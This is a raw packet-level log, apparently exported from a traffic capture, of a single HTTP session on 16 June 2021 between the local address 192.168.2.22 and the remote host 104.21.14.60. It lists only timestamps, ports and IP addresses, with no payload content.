Jun 16, 2021 12:04:53.719235897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.719249964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719274998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719285011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.719300032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719324112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719331980 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.720006943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.720030069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.720046043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.720046043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.720079899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.720871925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.720896959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.720949888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.720994949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.721023083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.721048117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.721057892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.721072912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.721097946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.721107006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.722651958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.722687960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.722703934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.722721100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.722758055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.722759008 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.722790956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.722817898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.722827911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.724383116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.724421978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.724445105 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.724457026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.724489927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.724493027 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.724530935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.724559069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.724566936 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.726175070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726198912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726233006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726250887 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.726262093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726274967 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.726296902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726334095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726336956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.726375103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726413965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.726417065 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.727981091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.728013039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.728033066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.728056908 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.728084087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.827368021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827408075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827434063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827459097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827481985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827503920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827527046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827550888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827594995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.827728987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827754974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827759981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.827778101 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.827781916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827807903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827825069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.827831984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827855110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827869892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.827878952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827900887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.827931881 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.828202963 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.828651905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828681946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828706026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828727961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828727961 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.828756094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828768015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.828779936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828804970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828828096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.828869104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.828874111 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.829493999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829534054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829556942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829580069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829593897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.829600096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829616070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.829622984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829646111 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829667091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.829674006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.829710007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.830364943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830398083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830423117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830447912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830457926 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.830471039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830483913 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.830493927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830516100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830530882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.830538034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.830578089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.831253052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831286907 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831320047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831342936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831357002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.831367016 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831382036 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.831393957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831415892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831439018 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.831439972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.831485987 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.832132101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832164049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832185984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832211971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832235098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832240105 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.832252026 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.832259893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832284927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832308054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.832313061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.832346916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833024979 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833056927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833079100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833106995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833117962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833131075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833149910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833154917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833178043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833201885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833201885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833251953 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833746910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833861113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833889961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833911896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833934069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833937883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.833956957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833980083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.833981991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.834005117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834023952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.834028959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834050894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.834762096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834793091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834814072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834834099 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.834839106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834856987 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.834861994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834882021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834899902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834903002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.834919930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.834949017 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.835649967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835679054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835700035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835707903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.835726976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835742950 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.835752010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835776091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835794926 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.835799932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835824966 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.835841894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.836514950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836536884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836551905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836568117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836580992 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.836585045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836596012 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.836601973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836620092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836628914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.836637974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.836658955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.837408066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837438107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837460041 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837483883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837507010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837526083 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.837528944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837551117 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.837551117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837574005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.837588072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.837635040 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.838287115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838318110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838340998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838366985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838366985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.838392973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838412046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.838416100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838440895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838462114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.838464022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.838500977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.838865995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.839152098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839181900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839204073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839226007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839246988 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.839248896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839267015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.839272022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839298964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839313984 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.839322090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.839324951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.840022087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840053082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840074062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840097904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840109110 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.840121984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840126038 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.840142965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840166092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840166092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.840188026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840209007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.840902090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840934992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840953112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840976954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.840998888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.841020107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.841025114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.841039896 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.841044903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.841063976 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.841068983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.841110945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.843849897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.844259024 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870140076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870170116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870186090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870202065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870213985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870229959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870246887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870268106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870356083 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870414972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870423079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870495081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870522022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870546103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870567083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870569944 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870589972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870613098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870613098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870631933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870649099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.870655060 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.870693922 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.871109962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.872823954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872858047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872879982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872901917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872922897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872936964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.872945070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872948885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.872971058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.872996092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.876092911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876118898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876133919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876209974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.876323938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876349926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876372099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876390934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876394033 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.876409054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876425982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876435041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.876442909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876460075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.876470089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.876504898 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.876594067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.877083063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.877104044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.877119064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.877155066 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.974663973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974700928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974716902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974740982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974762917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974797964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974817038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974836111 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974859953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.974925995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.974961042 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.974984884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975007057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975028992 CEST	80	49167	104.21.14.60	192.168.2.22
